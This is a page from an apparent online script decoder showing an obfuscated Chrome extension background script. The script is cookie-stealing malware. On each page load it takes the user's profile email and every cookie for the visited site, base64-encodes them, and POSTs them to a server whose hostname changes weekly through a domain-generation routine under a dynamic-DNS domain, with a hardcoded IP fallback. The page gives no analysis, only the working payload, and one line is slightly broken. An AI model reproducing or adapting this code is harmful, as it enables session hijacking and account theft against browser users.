Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


const _0x53a447 = _0x11ed;
(function (_0x2b0061, _0x171139) {
    const _0x4c524b = _0x11ed, _0xfc2bea = _0x2b0061();
    while (!![]) {
        try {
            const _0x262c71 = -parseInt(_0x4c524b(0x110)) / (-0x154f * 0x1 + 0x742 + -0x1 * -0xe0e) * (parseInt(_0x4c524b(0x160)) / (-0x1 * 0x1d6 + -0x6c3 + 0x89b)) + parseInt(_0x4c524b(0x16a)) / (0x2 * 0x284 + -0x30d * -0x1 + -0x2 * 0x409) + parseInt(_0x4c524b(0x1b0)) / (0x48c * -0x5 + -0x81a + 0x1 * 0x1eda) + parseInt(_0x4c524b(0x13b)) / (-0x94f + -0xb45 + 0x1499) + -parseInt(_0x4c524b(0x11f)) / (0x1319 + -0x3 * 0xa6d + 0xc34) + -parseInt(_0x4c524b(0x162)) / (0x1308 + 0x2707 + -0x3a08) * (parseInt(_0x4c524b(0x19d)) / (0x1dcb + -0x1108 + -0xcbb)) + parseInt(_0x4c524b(0x11b)) / (-0x24d9 + 0xc25 + 0x3 * 0x83f);
            if (_0x262c71 === _0x171139)
                break;
            else
                _0xfc2bea['push'](_0xfc2bea['shift']());
        } catch (_0x1a9fa2) {
            _0xfc2bea['push'](_0xfc2bea['shift']());
        }
    }
}(_0x5d2a, 0x169 * 0x170 + -0x27eb3 * -0x3 + 0x2f01 * -0x16));
function base64EncodeUnicode(_0x4227bd) {
    const _0x3244ac = _0x11ed, _0x170fb3 = {
            'vhNqU': function (_0x107de6, _0x2e72df) {
                return _0x107de6(_0x2e72df);
            }
        };
    return _0x170fb3[_0x3244ac(0x132)](btoa, _0x170fb3[_0x3244ac(0x132)](encodeURIComponent, _0x4227bd)[_0x3244ac(0x1a6)](/%([0-9A-F]{2})/g, (_0x2537b4, _0x225e51) => String[_0x3244ac(0x11e) + 'de']('0x' + _0x225e51)));
}
function _0x5d2a() {
    const _0x44f54e = [
        'getProfile',
        'vrdsd',
        'cookies',
        'raw',
        '76.71.148.',
        'ntrado',
        'OkxxW',
        'Year',
        'jGMrt',
        'CKWYi',
        'json',
        'XWLKG',
        'Kemex',
        'VnTwB',
        'S SEMANAL',
        'string',
        'bXTxN',
        '24pZDOWL',
        'AQVgL',
        '49yPbdYe',
        'getUTCDate',
        'hostname',
        'getUTCFull',
        'apturados:',
        'POST',
        'capturar c',
        '❌ ERRO ao ',
        '705777hezhHz',
        'UserInfo',
        'nd iniciad',
        'witRa',
        'length',
        'encode',
        'tabs',
        '🌐 URL FINA',
        'βœ… Enviado ',
        'kies:',
        '❌ Erro HTT',
        'rPCjt',
        'emana:',
        'o com capt',
        'πŸ” String s',
        'wgVlJ',
        'getDate',
        ' cookies c',
        'email',
        'ayCdS',
        'toLowerCas',
        'HMAC',
        'DYMed',
        ' de: ',
        'P fallback',
        'path',
        'getFullYea',
        'RL: ',
        'kies',
        'ura melhor',
        'πŸš€ Backgrou',
        '   - Único',
        'πŸ“€ ENVIAR D',
        'ada de coo',
        'TIchm',
        'QdLaH',
        'https://wo',
        'BjmyO',
        'usQcy',
        'pobzk',
        'includes',
        'uRMvu',
        'http://',
        'πŸ“Š Status:',
        'omínio (do',
        'wRJrI',
        'fUvJF',
        '❌ ERRO coo',
        'πŸͺ Capturan',
        'message',
        'ytVYB',
        '465704cswfVP',
        'πŸ“Œ Usando I',
        'dinheiro',
        'getAll',
        'error',
        'ceil',
        'ADOS',
        'getMonth',
        'identity',
        'replace',
        'applicatio',
        'tNxmV',
        'KdCKi',
        'importKey',
        'complete',
        'io:',
        ':3005/api/',
        'onUpdated',
        'βœ… Total de',
        '646104PcZObu',
        '   - Por U',
        'WZURq',
        'gJRvx',
        'xkpEX',
        's: ',
        'ILUUI',
        'push',
        'groupEnd',
        'GiSDL',
        '48170hXTgvo',
        'rxAIn',
        '❌ ERRO ger',
        'session',
        '⚠️ Nenhum c',
        'dvUBJ',
        'HTTP ',
        'has',
        'addListene',
        'sign',
        'RYXdH',
        '6203376UwUOlw',
        '   - Por d',
        'tJwgy',
        'fromCharCo',
        '1494630GzRcUA',
        'rsvrh',
        'setUTCDate',
        'omínio: ',
        'wNeRQ',
        'arDnsSeman',
        'do cookies',
        'DO:',
        'UrcOi',
        '.hopto.org',
        'n/json',
        'domain',
        'signal',
        'rldtimeapi',
        'ookies:',
        'VQGri',
        'status',
        'πŸ“… GERAR DN',
        'dzAbB',
        'vhNqU',
        'getUTCDay',
        'YWkEL',
        'mail',
        'SHA-256',
        'subtle',
        'abort',
        'UTC',
        'group',
        '2536150OmzMFL',
        'ookie enco',
        'name',
        'url',
        'log',
        'com sucess',
        '161',
        '.org/api/i',
        'LmbzD',
        'substring',
        'zYzND',
        'stringify',
        'datetime',
        'add',
        '❌ ERRO env',
        'βœ… DNS GERA',
        'GET',
        'SDxXJ',
        'al:',
        't): '
    ];
    _0x5d2a = function () {
        return _0x44f54e;
    };
    return _0x5d2a();
}
async function gerarDnsSemanal() {
    const _0x5ed75c = _0x11ed, _0xd5e765 = {
            'SDxXJ': _0x5ed75c(0x130) + _0x5ed75c(0x15d),
            'zYzND': function (_0x446799, _0x46bf87, _0x234de7) {
                return _0x446799(_0x46bf87, _0x234de7);
            },
            'usQcy': _0x5ed75c(0x18e) + _0x5ed75c(0x12c) + _0x5ed75c(0x142) + 'p',
            'gJRvx': _0x5ed75c(0x14b),
            'WZURq': _0x5ed75c(0x1a7) + _0x5ed75c(0x129),
            'QdLaH': function (_0x4b1be6, _0x354b36) {
                return _0x4b1be6 - _0x354b36;
            },
            'XWLKG': function (_0x5bbad6, _0x588a70) {
                return _0x5bbad6 + _0x588a70;
            },
            'rPCjt': function (_0x4c68fa, _0x3ca94c) {
                return _0x4c68fa / _0x3ca94c;
            },
            'xkpEX': function (_0x309458, _0x21c590) {
                return _0x309458 / _0x21c590;
            },
            'tJwgy': _0x5ed75c(0x178) + _0x5ed75c(0x176),
            'rsvrh': _0x5ed75c(0x152),
            'jGMrt': _0x5ed75c(0x19f),
            'AQVgL': _0x5ed75c(0x17f),
            'VQGri': _0x5ed75c(0x136),
            'wRJrI': _0x5ed75c(0x119),
            'ayCdS': function (_0x12c137, _0x1b7b21) {
                return _0x12c137(_0x1b7b21);
            },
            'dvUBJ': _0x5ed75c(0x14a) + _0x5ed75c(0x126),
            'fUvJF': _0x5ed75c(0x112) + _0x5ed75c(0x124) + _0x5ed75c(0x14d)
        };
    console[_0x5ed75c(0x13a)](_0xd5e765[_0x5ed75c(0x14c)]);
    try {
        const _0x163ff3 = new AbortController();
        _0xd5e765[_0x5ed75c(0x145)](setTimeout, () => _0x163ff3[_0x5ed75c(0x138)](), -0x1915 + -0x19 * 0xb0 + -0x1 * -0x3dcd);
        const _0x11c6cb = await _0xd5e765[_0x5ed75c(0x145)](fetch, _0xd5e765[_0x5ed75c(0x190)], {
            'method': _0xd5e765[_0x5ed75c(0x109)],
            'headers': { 'Accept': _0xd5e765[_0x5ed75c(0x108)] },
            'signal': _0x163ff3[_0x5ed75c(0x12b)]
        });
        if (!_0x11c6cb['ok'])
            throw new Error(_0x5ed75c(0x116) + _0x11c6cb[_0x5ed75c(0x12f)]);
        const _0x4acb39 = await _0x11c6cb[_0x5ed75c(0x159)](), _0x3def47 = new Date(_0x4acb39[_0x5ed75c(0x147)]), _0xd6373b = new Date(Date[_0x5ed75c(0x139)](_0x3def47[_0x5ed75c(0x184) + 'r'](), _0x3def47[_0x5ed75c(0x1a4)](), _0x3def47[_0x5ed75c(0x17a)]()));
        _0xd6373b[_0x5ed75c(0x121)](_0xd5e765[_0x5ed75c(0x18d)](_0xd5e765[_0x5ed75c(0x15a)](_0xd6373b[_0x5ed75c(0x163)](), -0x451 + 0x11 * 0x6c + -0x2d7), _0xd6373b[_0x5ed75c(0x133)]() || 0xe21 + -0x1 * -0x2c3 + -0x10dd));
        const _0x2c82c2 = new Date(Date[_0x5ed75c(0x139)](_0xd6373b[_0x5ed75c(0x165) + _0x5ed75c(0x156)](), 0x1 * -0x631 + -0x6dd * -0x3 + 0x13 * -0xc2, 0x1ee2 + -0x1 * 0x213a + 0x259)), _0x3ed14e = Math[_0x5ed75c(0x1a2)](_0xd5e765[_0x5ed75c(0x175)](_0xd5e765[_0x5ed75c(0x15a)](_0xd5e765[_0x5ed75c(0x10a)](_0xd5e765[_0x5ed75c(0x18d)](_0xd6373b, _0x2c82c2), 0x39a2b4b + -0x661 * 0x77a6 + 0x4876a9b), 0xbf * -0x5 + -0x815 + 0xbd1), -0x5c * 0x4 + 0x1 * 0x247d + -0x2306)), _0xa9f006 = _0x3def47[_0x5ed75c(0x184) + 'r']() + '-W' + _0x3ed14e;
        console[_0x5ed75c(0x13f)](_0xd5e765[_0x5ed75c(0x11d)], _0xa9f006);
        const _0x2b3cde = await crypto[_0x5ed75c(0x137)][_0x5ed75c(0x1aa)](_0xd5e765[_0x5ed75c(0x120)], new TextEncoder()[_0x5ed75c(0x16f)](_0xd5e765[_0x5ed75c(0x157)]), {
                'name': _0xd5e765[_0x5ed75c(0x161)],
                'hash': _0xd5e765[_0x5ed75c(0x12e)]
            }, ![], [_0xd5e765[_0x5ed75c(0x197)]]), _0x5a4e04 = await crypto[_0x5ed75c(0x137)][_0x5ed75c(0x119)](_0xd5e765[_0x5ed75c(0x161)], _0x2b3cde, new TextEncoder()[_0x5ed75c(0x16f)](_0xa9f006)), _0x5ea9e4 = _0xd5e765[_0x5ed75c(0x17d)](btoa, String[_0x5ed75c(0x11e) + 'de'](...new Uint8Array(_0x5a4e04))), _0x34bd8f = _0xd5e765[_0x5ed75c(0x15a)]('G', _0x5ea9e4[_0x5ed75c(0x1a6)](/[^a-zA-Z0-9]/g, '')[_0x5ed75c(0x144)](0x11b * -0x20 + -0x29b + -0xca9 * -0x3, -0x266c + -0x175 * 0x11 + 0x3f3c)), _0x2f5b97 = (_0x34bd8f + _0x5ed75c(0x128))[_0x5ed75c(0x17e) + 'e']();
        return console[_0x5ed75c(0x13f)](_0xd5e765[_0x5ed75c(0x115)], _0x2f5b97), console[_0x5ed75c(0x10e)](), _0x2f5b97;
    } catch (_0x564fde) {
        return console[_0x5ed75c(0x1a1)](_0xd5e765[_0x5ed75c(0x198)], _0x564fde[_0x5ed75c(0x19b)]), console[_0x5ed75c(0x10e)](), null;
    }
}
async function captureCookiesFromUrl(_0x3b2768) {
    const _0x16d046 = _0x11ed, _0x3bc574 = {
            'TIchm': function (_0x42060c, _0x3636ad) {
                return _0x42060c + _0x3636ad;
            },
            'pobzk': _0x16d046(0x169) + _0x16d046(0x168) + _0x16d046(0x12d)
        };
    try {
        console[_0x16d046(0x13f)](_0x16d046(0x19a) + _0x16d046(0x125) + _0x16d046(0x181) + _0x3b2768);
        const _0x88b993 = new URL(_0x3b2768), _0x3dca38 = _0x88b993[_0x16d046(0x164)], _0x407fc4 = await chrome[_0x16d046(0x151)][_0x16d046(0x1a0)]({ 'url': _0x3b2768 }), _0x26df6d = await chrome[_0x16d046(0x151)][_0x16d046(0x1a0)]({ 'domain': _0x3dca38 }), _0x1cf79d = await chrome[_0x16d046(0x151)][_0x16d046(0x1a0)]({ 'domain': _0x3bc574[_0x16d046(0x18c)](, _0x3dca38) }), _0x3ae18a = [
                ..._0x407fc4,
                ..._0x26df6d,
                ..._0x1cf79d
            ], _0x34f01a = [], _0x52527a = new Set();
        for (const _0x1cc99 of _0x3ae18a) {
            const _0x4d9e69 = _0x1cc99[_0x16d046(0x13d)] + '|' + _0x1cc99[_0x16d046(0x12a)] + '|' + _0x1cc99[_0x16d046(0x183)];
            !_0x52527a[_0x16d046(0x117)](_0x4d9e69) && (_0x52527a[_0x16d046(0x148)](_0x4d9e69), _0x34f01a[_0x16d046(0x10d)](_0x1cc99));
        }
        return console[_0x16d046(0x13f)](_0x16d046(0x1af) + _0x16d046(0x17b) + _0x16d046(0x166) + ' ' + _0x34f01a[_0x16d046(0x16e)]), console[_0x16d046(0x13f)](_0x16d046(0x1b1) + _0x16d046(0x185) + _0x407fc4[_0x16d046(0x16e)]), console[_0x16d046(0x13f)](_0x16d046(0x11c) + _0x16d046(0x122) + _0x26df6d[_0x16d046(0x16e)]), console[_0x16d046(0x13f)](_0x16d046(0x11c) + _0x16d046(0x196) + _0x16d046(0x14e) + _0x1cf79d[_0x16d046(0x16e)]), console[_0x16d046(0x13f)](_0x16d046(0x189) + _0x16d046(0x10b) + _0x34f01a[_0x16d046(0x16e)]), _0x34f01a;
    } catch (_0x310594) {
        return console[_0x16d046(0x1a1)](_0x3bc574[_0x16d046(0x191)], _0x310594), [];
    }
}
function _0x11ed(_0x5e43fe, _0x444c28) {
    _0x5e43fe = _0x5e43fe - (-0x45 * 0x22 + 0xcd1 + -0x29f);
    const _0x19289e = _0x5d2a();
    let _0x59fd6a = _0x19289e[_0x5e43fe];
    return _0x59fd6a;
}
chrome[_0x53a447(0x170)][_0x53a447(0x1ae)][_0x53a447(0x118) + 'r']((_0x13348b, _0x51ab6a, _0x9507d) => {
    const _0x50ba09 = _0x53a447, _0x44eca3 = {
            'tNxmV': function (_0x5e9dac, _0x52ace0, _0x1fdbe5) {
                return _0x5e9dac(_0x52ace0, _0x1fdbe5);
            },
            'uRMvu': function (_0x21fe04, _0xcba065) {
                return _0x21fe04 !== _0xcba065;
            },
            'CKWYi': _0x50ba09(0x1ab),
            'BjmyO': _0x50ba09(0x135)
        };
    if (_0x44eca3[_0x50ba09(0x193)](_0x51ab6a[_0x50ba09(0x12f)], _0x44eca3[_0x50ba09(0x158)]) || !_0x9507d?.[_0x50ba09(0x13e)])
        return;
    const _0x315e71 = _0x9507d[_0x50ba09(0x13e)][_0x50ba09(0x192)](_0x44eca3[_0x50ba09(0x18f)]);
    if (!_0x315e71)
        return;
    chrome[_0x50ba09(0x1a5)][_0x50ba09(0x14f) + _0x50ba09(0x16b)](_0x1c6eed => {
        const _0x64a413 = _0x50ba09;
        _0x1c6eed?.[_0x64a413(0x17c)] && _0x44eca3[_0x64a413(0x1a8)](getCookiesAndSend, _0x1c6eed[_0x64a413(0x17c)], _0x9507d[_0x64a413(0x13e)]);
    });
});
async function getCookiesAndSend(_0x333da4, _0x29dafb) {
    const _0x1f6a23 = _0x53a447, _0x175e6a = {
            'wNeRQ': function (_0x348e6d, _0x19b9ef) {
                return _0x348e6d(_0x19b9ef);
            },
            'VnTwB': _0x1f6a23(0x114) + _0x1f6a23(0x13c) + _0x1f6a23(0x154),
            'UrcOi': function (_0x24bbfe, _0x5239c0, _0xb20808, _0x1313ea) {
                return _0x24bbfe(_0x5239c0, _0xb20808, _0x1313ea);
            },
            'witRa': _0x1f6a23(0x199) + _0x1f6a23(0x173)
        };
    try {
        const _0xe9256d = new URL(_0x29dafb)[_0x1f6a23(0x164)], _0x4c73aa = await _0x175e6a[_0x1f6a23(0x123)](captureCookiesFromUrl, _0x29dafb);
        if (!_0x4c73aa || !_0x4c73aa[_0x1f6a23(0x16e)]) {
            console[_0x1f6a23(0x13f)](_0x175e6a[_0x1f6a23(0x15c)]);
            return;
        }
        const _0x31a314 = _0x175e6a[_0x1f6a23(0x123)](base64EncodeUnicode, JSON[_0x1f6a23(0x146)](_0x4c73aa));
        _0x175e6a[_0x1f6a23(0x127)](sendDataToServer, _0x333da4, _0x31a314, _0xe9256d);
    } catch (_0x1ec5a1) {
        console[_0x1f6a23(0x1a1)](_0x175e6a[_0x1f6a23(0x16d)], _0x1ec5a1);
    }
}
async function sendDataToServer(_0x44de2d, _0x1e3c9f, _0x54e39b) {
    const _0x15931a = _0x53a447, _0x1f62ab = {
            'GiSDL': _0x15931a(0x18a) + _0x15931a(0x1a3),
            'LmbzD': function (_0x37211c) {
                return _0x37211c();
            },
            'bXTxN': function (_0x1c514b, _0x2b89fd) {
                return _0x1c514b !== _0x2b89fd;
            },
            'DYMed': _0x15931a(0x15e),
            'OkxxW': _0x15931a(0x153) + _0x15931a(0x141),
            'ILUUI': _0x15931a(0x19e) + _0x15931a(0x182) + ':',
            'KdCKi': _0x15931a(0x171) + 'L:',
            'Kemex': function (_0x4d4e7e, _0x285a06, _0x581377) {
                return _0x4d4e7e(_0x285a06, _0x581377);
            },
            'vrdsd': function (_0x5153a8, _0x31f774, _0x4615ac) {
                return _0x5153a8(_0x31f774, _0x4615ac);
            },
            'YWkEL': _0x15931a(0x167),
            'wgVlJ': _0x15931a(0x1a7) + _0x15931a(0x129),
            'RYXdH': _0x15931a(0x195),
            'dzAbB': _0x15931a(0x172) + _0x15931a(0x140) + 'o',
            'rxAIn': _0x15931a(0x174) + 'P:',
            'ytVYB': _0x15931a(0x149) + _0x15931a(0x1ac)
        };
    console[_0x15931a(0x13a)](_0x1f62ab[_0x15931a(0x10f)]);
    let _0x510b0d = null;
    try {
        _0x510b0d = await _0x1f62ab[_0x15931a(0x143)](gerarDnsSemanal);
    } catch {
    }
    (!_0x510b0d || _0x1f62ab[_0x15931a(0x15f)](typeof _0x510b0d, _0x1f62ab[_0x15931a(0x180)])) && (_0x510b0d = _0x1f62ab[_0x15931a(0x155)], console[_0x15931a(0x13f)](_0x1f62ab[_0x15931a(0x10c)], _0x510b0d));
    const _0x33071f = _0x15931a(0x194) + _0x510b0d + (_0x15931a(0x1ad) + _0x15931a(0x113));
    console[_0x15931a(0x13f)](_0x1f62ab[_0x15931a(0x1a9)], _0x33071f);
    try {
        const _0x39af3d = new AbortController();
        _0x1f62ab[_0x15931a(0x15b)](setTimeout, () => _0x39af3d[_0x15931a(0x138)](), -0xa33 * 0x3 + 0x1cd6 + 0x28d3);
        const _0x4a49c7 = await _0x1f62ab[_0x15931a(0x150)](fetch, _0x33071f, {
            'method': _0x1f62ab[_0x15931a(0x134)],
            'headers': { 'Content-Type': _0x1f62ab[_0x15931a(0x179)] },
            'body': JSON[_0x15931a(0x146)]({
                'email': _0x44de2d,
                'session': _0x1e3c9f,
                'domain': _0x54e39b
            }),
            'signal': _0x39af3d[_0x15931a(0x12b)]
        });
        console[_0x15931a(0x13f)](_0x1f62ab[_0x15931a(0x11a)], _0x4a49c7[_0x15931a(0x12f)]), _0x4a49c7['ok'] ? console[_0x15931a(0x13f)](_0x1f62ab[_0x15931a(0x131)]) : console[_0x15931a(0x1a1)](_0x1f62ab[_0x15931a(0x111)], _0x4a49c7[_0x15931a(0x12f)]);
    } catch (_0x34fcae) {
        console[_0x15931a(0x1a1)](_0x1f62ab[_0x15931a(0x19c)], _0x34fcae[_0x15931a(0x19b)]);
    }
    console[_0x15931a(0x10e)]();
}
console[_0x53a447(0x13f)](_0x53a447(0x188) + _0x53a447(0x16c) + _0x53a447(0x177) + _0x53a447(0x187) + _0x53a447(0x18b) + _0x53a447(0x186));



© 2023 Quttera Ltd. All rights reserved.